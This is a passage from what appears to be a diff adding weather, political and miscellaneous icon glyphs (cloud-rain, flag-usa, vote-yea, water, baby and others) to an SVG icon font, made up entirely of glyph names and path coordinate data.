-8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM76.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008 +l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6z" /> + <glyph glyph-name="cloud-rain" unicode="" +d="M416 320c53 0 96 -43 96 -96s-43 -96 -96 -96h-320c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.0996 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998 +c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80c0 -5.59961 -0.5 -11 -1.59961 -16.2002c0.5 0 1 0.200195 1.59961 0.200195zM88 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002 +c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996c0 31.3008 27.2002 43.3008 40 87.7002zM248 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996 +c0 31.3008 27.2002 43.3008 40 87.7002zM408 73.7998c2.5 8.5 13.7998 8.10059 16 0c12.7998 -44.5996 40 -56.2998 40 -87.7002c0 -27.6992 -21.5 -50.0996 -48 -50.0996s-48 22.4004 -48 50.0996c0 31.3008 27.2002 43.3008 40 87.7002z" /> + <glyph glyph-name="cloud-showers-heavy" unicode="" +d="M183.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112 +c4.40039 7.7998 14.2002 10.3994 21.8008 6zM279.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008 +l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM87.9004 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961 +c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM471.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961 +c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM375.9 77.9004c7.69922 -4.40039 10.3994 -14.2002 6 -21.8008l-64 -112 +c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.30078 -10.3994 14.1006 -6 21.8008l64 112c4.40039 7.7998 14.2002 10.3994 21.8008 6zM416 320c53 0 96 -43 96 -96s-43 -96 -96 -96h-320 +c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.2002 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80 +c0 -5.59961 -0.5 -11 -1.59961 -16.2002c0.5 0 1 0.200195 1.59961 0.200195z" /> + <glyph glyph-name="cloud-sun-rain" unicode="" horiz-adv-x="576" +d="M510.5 222.5c37.2998 -6.7998 65.5 -39.2998 65.5 -78.5c0 -44.2002 -35.7998 -80 -80 -80h-256c-44.2002 0 -80 35.7998 -80 80c0 38.7998 27.5996 71 64.2002 78.4004c0 0.5 -0.200195 1.09961 -0.200195 1.59961c0 53 43 96 96 96 +c32.0996 0 60.2998 -15.9004 77.7002 -40c10.3994 5 22 8 34.2998 8c39.2002 0 71.5996 -28.2998 78.5 -65.5zM124.1 188.1c3.10059 -3.09961 6.60059 -5.59961 10.2002 -8.2998c-3.89941 -11.3994 -6.2002 -23.3994 -6.2002 -35.8994c0 -2.5 0.5 -4.80078 0.700195 -7.2002 +l-59.2002 -19.7002c-10.1992 -3.2998 -19.8994 6.2998 -16.5 16.5l25.1006 75.2998l-71 35.5c-9.60059 4.7998 -9.60059 18.5 0 23.2998l71 35.5l-25.1006 75.3008c-3.39941 10.1992 6.2002 19.8994 16.4004 16.5l75.2998 -25.1006l35.5 71 +c4.7998 9.60059 18.5 9.60059 23.2998 0l35.5 -71l75.3008 25.1006c10.1992 3.39941 19.8994 -6.2002 16.5 -16.4004l-8.90039 -26.7002c-0.700195 0 -1.2998 0.200195 -2 0.200195c-25.5996 0 -49.2002 -7.7998 -69.2002 -20.7002 +c-37.5996 29.4004 -92.0996 27.2002 -126.7 -7.39941c-37.3994 -37.5 -37.3994 -98.4004 0 -135.801zM193.9 246.1c-18.2002 -8.2998 -33.5 -21.2998 -44.8008 -37.1992c-12.8994 11.6992 -21.0996 28.3994 -21.0996 47.0996c0 35.2998 28.7002 64 64 64 +c12.4004 0 24 -3.7002 33.7998 -9.90039c-16.0996 -17.5996 -27.5996 -39.5 -31.8994 -64zM524.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961 +c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM428.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961 +c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM332.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64 +c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM236.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008 +l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6z" /> + <glyph glyph-name="democrat" unicode="" horiz-adv-x="640" +d="M637.3 191.1c4.90039 -7.39941 2.90039 -17.2998 -4.39941 -22.2998l-26.6006 -17.7002c-7.39941 -4.89941 -17.2998 -3 -22.2002 4.40039c-21.7998 32.7002 -23.8994 38.0996 -40.0996 50.2998v-77.7998h-352l-54 108l-38.0996 -34.5996 +c-6 -6 -14.1006 -9.40039 -22.6006 -9.40039h-31c-12.0996 0 -23.2002 6.90039 -28.5996 17.7002l-14.2998 28.5996c-5.40039 10.7998 -4.30078 23.7998 3 33.5l74.5996 99.2998c1.7002 2.30078 4.2002 3.7002 6.40039 5.40039c-4 2.2002 -8 4.2002 -11.3008 7.5 +c-16.3994 16.4004 -18.3994 41.7998 -6.09961 60.4004c2.7998 4.19922 8.7998 4.7998 12.4004 1.19922l42.8994 -42.7998l41.7998 41.7998c4.40039 4.40039 11.8008 3.7002 15.2002 -1.5c15.1006 -22.7998 12.6006 -53.7998 -7.5 -73.8994l81.2002 -81.2002h235.6 +c50.8008 0 97.9004 -25.2002 126.101 -67.5zM296.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5 +l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM408.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998 +l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002 +l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM520.2 204.7c3 2.89941 1.39941 7.89941 -2.60059 8.5l-22.7998 3.2998l-10.2002 20.7002c-1.89941 3.7002 -7.19922 3.7002 -9 0l-10.1992 -20.7002l-22.8008 -3.2998 +c-4.09961 -0.600586 -5.7998 -5.60059 -2.7998 -8.5l16.5 -16.1006l-3.89941 -22.6992c-0.700195 -4.10059 3.59961 -7.2002 7.19922 -5.30078l20.4004 10.7002l20.4004 -10.7002c3.59961 -1.89941 7.89941 1.2002 7.19922 5.30078l-3.89941 22.6992zM192 -48v144h352v-144 +c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v80h-160v-80c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16z" /> + <glyph glyph-name="flag-usa" unicode="" +d="M32 448c17.7002 0 32 -14.2998 32 -32v-464c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v464c0 17.7002 14.2998 32 32 32zM299.9 144.4c31.0996 -8.2002 62.5996 -16.5 100 -16.6006c31.8994 0 68.5 6.7998 112.1 24.1006v-36 +c0 -12.3008 -7.09961 -23.8008 -18.5 -28.8008c-175.8 -76.3994 -211.8 69.1006 -397.5 -23.0996v69.2998c92.2002 39.9004 146.7 26.2002 203.9 11.1006zM299.9 240.4c31.0996 -8.2002 62.5996 -16.5 100 -16.5c31.8994 0 68.5 6.7998 112.1 24.0996v-61.5 +c-92.2002 -39.9004 -146.7 -26.2002 -203.9 -11.0996c-57.5 15.0996 -117.3 30 -212.1 -7.60059v61.5c92.2002 39.9004 146.7 26.2002 203.9 11.1006zM309.4 366.3c-7 2.10059 -14.1006 4.2002 -21.3008 6.2002v-33.2002c4 -1.09961 8.10059 -2.2998 12.1006 -3.5 +c26.7002 -8.09961 52.8994 -15.8994 85.7002 -15.8994c32.7998 0 72.5 7.89941 126.1 31.3994v-68.8994c-92.2002 -39.8008 -146.7 -26.1006 -203.9 -11.1006c-57.5 15.1006 -117.3 29.9004 -212.1 -7.59961v151.899c209.4 94.6006 195.3 -59.0996 366.6 28.2002 +c22.6006 11.5 49.4004 -1.5 49.4004 -26.5996v-30.7998c-105.2 -49.1006 -150.8 -35.7002 -202.6 -20.1006zM160 319.9c8.7998 0 16 7.09961 16 16c0 8.89941 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16zM160 375.7c8.7998 0 16 7.2002 16 16 +c0 8.89941 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16zM224 327.8c8.7998 0 16 7.2002 16 16c0 8.90039 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.89941 7.2002 -16 16 -16zM224 383.7c8.7998 0 16 7.2002 16 16c0 8.89941 -7.2002 16 -16 16 +s-16 -7.2002 -16 -16c0 -8.90039 7.2002 -16 16 -16z" /> + <glyph glyph-name="meteor" unicode="" +d="M511.328 427.197c-11.6074 -38.7021 -34.3076 -111.702 -61.3037 -187.701c6.99902 -2.09375 13.4043 -4 18.6074 -5.59277c6.58301 -2.00684 11.3779 -8.13184 11.3779 -15.3672c0 -2.71875 -0.685547 -5.29395 -1.87988 -7.53906 +c-22.1055 -42.2969 -82.6904 -152.795 -142.479 -214.403c-0.999023 -1.09375 -1.99902 -2.5 -2.99902 -3.5c-35.2676 -35.2773 -83.9824 -57.1094 -137.757 -57.1094c-107.53 0 -194.83 87.2998 -194.83 194.83c0 53.7559 21.7637 102.511 57.0195 137.775 +c1 1 2.40625 2 3.49902 3c61.6006 59.9053 171.975 120.405 214.374 142.498c2.24512 1.19434 4.80664 1.87109 7.52441 1.87109c7.23535 0 13.374 -4.78711 15.3779 -11.3711c1.59375 -5.09375 3.5 -11.5928 5.59277 -18.5928 +c75.8955 26.999 148.978 49.7021 187.675 61.2959c1.4834 0.448242 3.05664 0.689453 4.68652 0.689453c8.93164 0 16.1826 -7.25098 16.1826 -16.1826c0 -1.59961 -0.236328 -3.14062 -0.668945 -4.60059zM319.951 127.998 +c-0.00976562 70.626 -57.3525 127.962 -127.98 127.962c-70.6348 0 -127.98 -57.3457 -127.98 -127.98c0 -70.6338 57.3457 -127.979 127.98 -127.979c70.6318 0 127.976 57.3438 127.976 127.976c0 0.0078125 0.00488281 0.0146484 0.00488281 0.0224609zM191.971 159.997 +c-0.00292969 -17.6562 -14.3379 -31.9902 -31.9951 -31.9902c-17.6582 0 -31.9951 14.3369 -31.9951 31.9951c0 17.6592 14.3369 31.9951 31.9951 31.9951h0.0371094c17.6387 0 31.959 -14.3203 31.959 -31.959 +c0 -0.0136719 -0.000976562 -0.0263672 -0.000976562 -0.0410156v0zM223.966 79.998c-0.000976562 -8.82812 -7.16895 -15.9951 -15.998 -15.9951s-15.9971 7.16895 -15.9971 15.998s7.16797 15.9971 15.9971 15.9971c8.81738 -0.0283203 15.9707 -7.18262 15.998 -16v0z +" /> + <glyph glyph-name="person-booth" unicode="" horiz-adv-x="576" +d="M192 -48v176h64v-176c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16zM224 224c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32h-57.5c-12.7998 0 -24.7998 5 -33.9004 14.0996l-20.8994 20.9004v-80.5996l41.2002 -61.3008 +c4.39941 -8.7998 6.69922 -18.6992 6.69922 -28.5996v-56.5c0 -17.7002 -14.2998 -32 -32 -32c-17.6992 0 -32 14.2998 -32 32v56l-29.0996 43c-0.900391 0.400391 -1.59961 1.2002 -2.5 1.7002l-0.0996094 -100.7c0 -17.7002 -14.4004 -32 -32 -32 +c-17.6006 0 -31.9004 14.2998 -31.9004 32l0.200195 160l-0.200195 95.9004c0 17.0996 6.7002 33.1992 18.7002 45.2998c12.0996 12.0996 28.2002 18.7998 45.2998 18.7998h18.7002c17 0 33.0996 -6.59961 45.2002 -18.7002l45.1992 -45.2998h50.9004zM64 320 +c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM288 416v32h192v-416c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 -17.7002 -14.2998 -32 -32 -32c-17.0996 0 -30.7998 13.5 -31.7002 30.4004 +c-4.2998 -21.3008 -17.0996 -30.4004 -32.2998 -30.4004c-18.4004 0 -35.7002 16.7002 -31.4004 38.2998l30.9004 154.601zM192 416c0 17.7002 14.2998 32 32 32h32v-192h-64v160zM544 448c17.7002 0 32 -14.2998 32 -32v-464c0 -8.7998 -7.2002 -16 -16 -16h-32 +c-8.7998 0 -16 7.2002 -16 16v496h32z" /> + <glyph glyph-name="poo-storm" unicode="" horiz-adv-x="448" +d="M308 112c9.2002 0 15 -10 10.4004 -18l-88 -152c-2.2002 -3.7998 -6.2002 -6 -10.4004 -6c-7.7002 0 -13.5 7.2002 -11.7002 14.7998l23 97.2002h-59.2998c-7.2998 0 -12.9004 6.40039 -11.9004 13.5996l16 120c0.800781 5.90039 5.90039 10.4004 11.9004 10.4004h68 +c7.90039 0 13.5996 -7.5 11.5996 -15.0996l-17.2998 -64.9004h57.7002zM374.4 223.3c41 -3.2998 73.5996 -37.5 73.5 -79.2998c0 -44 -36 -80 -80 -80h-30l8.09961 14c7.7998 13.5 7.7998 30.4004 0 44s-22.4004 22 -38.0996 22h-16l6.59961 24.7002 +c3.59961 13.2998 0.799805 27.2002 -7.59961 38.0996c-8.40039 10.9004 -21.1006 17.2002 -34.9004 17.2002h-68c-22 0 -40.7002 -16.4004 -43.7002 -38.2002l-16 -120c0 -0.599609 0.100586 -1.2002 0 -1.7998h-48.2998c-44 0 -80 36 -80 80 +c0 41.7998 32.5996 76 73.5996 79.2998c-5.89941 9.60059 -9.59961 20.6006 -9.59961 32.7002c0 35.2998 28.7002 64 64 64h16c44.2002 0 80 35.7998 80 80c0 17.4004 -5.7002 33.4004 -15.0996 46.5c4.89941 0.799805 9.89941 1.5 15.0996 1.5c53 0 96 -43 96 -96 +c0 -11.2998 -2.2998 -21.9004 -5.90039 -32h5.90039c35.2998 0 64 -28.7002 64 -64c0 -12.0996 -3.7002 -23.0996 -9.59961 -32.7002z" /> + <glyph glyph-name="rainbow" unicode="" horiz-adv-x="576" +d="M268.3 415.3c167.7 11.2998 307.7 -122 307.7 -287.3v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v136.2c0 113.8 -81.5996 215.399 -194.5 229.899c-136.6 17.6006 -253.5 -88.8994 -253.5 -222.1v-144c0 -8.7998 -7.2002 -16 -16 -16h-32 +c-8.7998 0 -16 7.2002 -16 16v133.8c0 153.3 115.4 287.3 268.3 297.5zM262.7 318.4c117.1 15 217.3 -76.2002 217.3 -190.4v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v138.3c0 66.9004 -48.7002 126.601 -115.2 133.101 +c-76.2998 7.39941 -140.8 -52.6006 -140.8 -127.4v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v137.3c0 97.6006 70 184.7 166.7 197.101zM268.9 222.1c61.2998 11.9004 115.1 -34.8994 115.1 -94.0996v-144c0 -8.7998 -7.2002 -16 -16 -16h-32 +c-8.7998 0 -16 7.2002 -16 16v144c0 17.5996 -14.2998 32 -32 32s-32 -14.4004 -32 -32v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v140.2c0 46.3994 31.2998 89 76.9004 97.8994z" /> + <glyph glyph-name="republican" unicode="" horiz-adv-x="640" +d="M544 256v-64h-544v64c0 88.4004 71.5996 160 160 160h224c88.4004 0 160 -71.5996 160 -160zM176.3 277.6c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0l-12.1992 -24.7998l-27.4004 -4 +c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998zM320.3 277.6 +c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0l-12.1992 -24.7998l-27.4004 -4c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998 +c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998zM464.3 277.6c3.5 3.5 1.60059 9.5 -3.39941 10.2002l-27.4004 4l-12.2002 24.7998c-2.09961 4.40039 -8.5 4.5 -10.7002 0 +l-12.1992 -24.7998l-27.4004 -4c-4.90039 -0.700195 -6.90039 -6.7002 -3.2998 -10.2002l19.7998 -19.2998l-4.7002 -27.2998c-0.799805 -4.90039 4.40039 -8.59961 8.7002 -6.2998l24.5 12.8994l24.5 -12.8994c4.40039 -2.2998 9.5 1.39941 8.7002 6.2998l-4.7002 27.2998z +M624 128c8.7998 0 16 -7.2002 16 -16v-64c0 -46.9004 -40.5996 -84.5 -88.4004 -79.5996c-41.5996 4.19922 -71.5996 42.5 -71.5996 84.2998v43.2998h-32v-112c0 -8.7998 -7.2002 -16 -16 -16h-96c-8.7998 0 -16 7.2002 -16 16v80h-192v-80c0 -8.7998 -7.2002 -16 -16 -16 +h-96c-8.7998 0 -16 7.2002 -16 16v176h544v-112c0 -8.7998 7.2002 -16 16 -16s16 7.2002 16 16v64c0 8.7998 7.2002 16 16 16h32z" /> + <glyph glyph-name="smog" unicode="" horiz-adv-x="640" +d="M624 80c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-544c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h544zM144 -16c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-128c-8.7998 0 -16 7.2002 -16 16v16 +c0 8.7998 7.2002 16 16 16h128zM560 -16c8.7998 0 16 -7.2002 16 -16v-16c0 -8.7998 -7.2002 -16 -16 -16h-336c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h336zM144 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144c41 0 77.7998 -17.2998 104 -44.7998 +c26.2002 27.5 63 44.7998 104 44.7998c54.7998 0 102 -31 126.3 -76.0996c15 7.5 31.7002 12.0996 49.7002 12.0996c61.9004 0 112 -50.0996 112 -112s-50.0996 -112 -112 -112h-60.0996c-22.6006 -19.7002 -51.6006 -32 -83.9004 -32s-61.4004 12.2998 -83.9004 32h-156.1z +" /> + <glyph glyph-name="temperature-high" unicode="" +d="M416 448c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM416 320c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 336v-166.5c19.7002 -24.5996 32 -55.5 32 -89.5 +c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144c0 34 12.2998 64.7998 32 89.5v166.5c0 61.9004 50.0996 112 112 112s112 -50.0996 112 -112zM144 0c44.0996 0 80 35.9004 80 80c0 25.5 -12.2002 49 -32 63.7998v192.2c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-192.2 +c-19.7998 -14.8994 -32 -38.2998 -32 -63.7998c0 -44.0996 35.9004 -80 80 -80zM160 125.1c18.5996 -6.59961 32 -24.1992 32 -45.0996c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 20.9004 13.4004 38.5 32 45.0996v210.9c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16 +v-210.9z" /> + <glyph glyph-name="temperature-low" unicode="" +d="M416 448c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96s-96 43.0996 -96 96s43.0996 96 96 96zM416 320c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 336v-166.5c19.7002 -24.5996 32 -55.5 32 -89.5 +c0 -79.5 -64.5 -144 -144 -144s-144 64.5 -144 144c0 34 12.2998 64.7998 32 89.5v166.5c0 61.9004 50.0996 112 112 112s112 -50.0996 112 -112zM144 0c44.0996 0 80 35.9004 80 80c0 25.5 -12.2002 49 -32 63.7998v192.2c0 26.5 -21.5 48 -48 48s-48 -21.5 -48 -48v-192.2 +c-19.7998 -14.8994 -32 -38.2998 -32 -63.7998c0 -44.0996 35.9004 -80 80 -80zM160 125.1c18.5996 -6.59961 32 -24.1992 32 -45.0996c0 -26.5 -21.5 -48 -48 -48s-48 21.5 -48 48c0 20.9004 13.4004 38.5 32 45.0996v18.9004c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16 +v-18.9004z" /> + <glyph glyph-name="vote-yea" unicode="" horiz-adv-x="640" +d="M608 128c17.7002 0 32 -14.2998 32 -32v-96c0 -17.7002 -14.2998 -32 -32 -32h-576c-17.7002 0 -32 14.2998 -32 32v96c0 17.7002 14.2998 32 32 32h64v-64h-22.4004c-5.2998 0 -9.59961 -3.59961 -9.59961 -8v-16c0 -4.40039 4.2998 -8 9.59961 -8h492.801 +c5.2998 0 9.59961 3.59961 9.59961 8v16c0 4.40039 -4.2998 8 -9.59961 8h-22.4004v64h64zM512 64h-384v319.7c0 17.7998 14.5 32.2998 32.4004 32.2998h319.3c17.7998 0 32.2998 -14.4004 32.2998 -32.2998v-319.7zM211.2 246c-4.2002 -4.2002 -4.2998 -11 0 -15.2002 +l74.0996 -74.7002c4.2002 -4.2998 11 -4.2998 15.2002 -0.0996094l128.3 127.2c4.2998 4.2002 4.2998 11 0.100586 15.2002l-25.3008 25.5c-4.19922 4.2998 -11 4.2998 -15.1992 0.0996094l-95.2002 -94.4004l-41.2998 41.6006 +c-4.2002 4.2998 -11 4.2998 -15.2002 0.0996094z" /> + <glyph glyph-name="water" unicode="" horiz-adv-x="576" +d="M562.1 64.0996c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0 +c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2 +c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.5 57.8994 -22.9004zM562.1 208.1 +c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0 +c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2 +c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.5 57.8994 -22.9004zM562.1 352.1 +c8.10059 -0.899414 13.9004 -8.2998 13.8008 -16.2998v-31.5996c0 -9.10059 -7.60059 -16.7998 -16.7002 -16c-28.2002 2.5 -55.7998 11.5996 -79.1006 25.7998c-55 -34.0996 -135.5 -34.5996 -192 0c-55 -34.0996 -135.5 -34.5996 -192 0 +c-23.2998 -14.5 -50.5996 -23.4004 -79.3994 -25.9004c-9.10059 -0.799805 -16.7002 6.90039 -16.7002 16v32.2002c0 7.90039 5.7002 14.9004 13.5996 15.7002c21.7002 2.2998 42.2002 10.2002 57.7002 22.4004c13.7998 10.8994 33.6006 13.1992 47.1006 2 +c38.2998 -31.7002 107.199 -31.8008 145.199 -1.7002c13.7002 10.8994 33.2002 13 46.7002 1.7998c38.5 -31.9004 107.8 -31.9004 145.7 -1.5c14 11.2998 34.0996 11.0996 48.2002 0c15.7998 -12.4004 36.3994 -20.4004 57.8994 -22.9004z" /> + <glyph glyph-name="baby" unicode="" horiz-adv-x="384" +d="M192 288c-44.2002 0 -80 35.7998 -80 80s35.7998 80 80 80s80 -35.7998 80 -80s-35.7998 -80 -80 -80zM138.6 39.2002l29.4004 -39.2002c13.2002 -17.7002 9.7002 -42.7998 -8 -56c-7.2002 -5.40039 -15.7002 -8 -24 -8c-12.0996 0 -24.0996 5.5 -32 16l-48 64 +c-10.9004 14.5996 -10.5996 34.7998 0.799805 49l45.9004 57.4004l61.5 -51.2002zM281.3 122.4l45.9004 -57.4004c11.3994 -14.2002 11.7002 -34.4004 0.799805 -49l-48 -64c-7.7998 -10.5 -19.7998 -16 -32 -16c-8.40039 0 -16.7998 2.59961 -24 8 +c-17.7002 13.2002 -21.2002 38.2998 -8 56l29.4004 39.2002l-25.6006 32zM376.7 303c12.7002 -18.0996 8.39941 -43 -9.7002 -55.7998l-40.5996 -28.5c-17 -11.9004 -35.4004 -20.9004 -54.4004 -27.9004v-30.7998h-160v30.9004c-19 7 -37.4004 16 -54.4004 27.8994 +l-40.5996 28.5c-18 12.7002 -22.4004 37.6006 -9.7002 55.7002c12.7002 18 37.6006 22.4004 55.7002 9.7002l40.5996 